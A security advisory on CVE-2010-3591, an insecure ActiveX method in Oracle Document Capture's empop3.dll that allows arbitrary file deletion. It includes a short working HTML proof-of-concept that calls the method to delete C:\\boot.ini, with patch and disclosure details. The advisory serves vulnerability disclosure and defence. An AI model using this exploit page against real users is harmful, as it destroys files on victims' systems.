Oracle Document Capture empop3.dll Insecure Method Vulnerability

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Oracle Document Capture contains ActiveX components that contain insecure methods in empop3.dll.

Credit:
The information has been provided by Evdokimov Dmitriy .
The original article can be found at: http://seclists.org/bugtraq/2011/Jan/152

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Vulnerable Systems:
* Oracle Document Capture Release 10gR3

Oracle Document Capture contains ActiveX component EMPOP3Lib (empop3.dll) Lib GUID: {F647CBE5-3C01-402A-B3F0-502A77054A24}

..which contains an insecure method "DownloadSingleMessageToFile" that can be used to delete any file in the filesystem.

Class EasyMailPop3
GUID: {F647CBE5-3C01-402A-B3F0-502A77054A24}
Number of Interfaces: 1
Default Interface: IPOP3Main
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False

An Attacker can construct an html page that calls the vulnerable function "DownloadSingleMessageToFile" from ActiveX component empop3.dll

Example:

<HTML>
         <HEAD>
         <TITLE>DSecRG</TITLE>
         </HEAD>
         <BODY>

         <OBJECT id='eds' classid='clsid:F647CBE5-3C01-402A-B3F0-502A77054A24'></OBJECT>

         <SCRIPT>

         function Exploit(){
                 eds.DownloadSingleMessageToFile(1,"C:\\boot.ini",1);
         }
         Exploit();

         </SCRIPT>
</BODY>
</HTML>

Patch Availability:
All customers can download CPU patches following instructions from:
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html

CVE Information:
CVE-2010-3591

Disclosure Timeline:
Reported 22.03.2010
Vendor response 31.03.2010
Date of Public Advisory 24.01.2011

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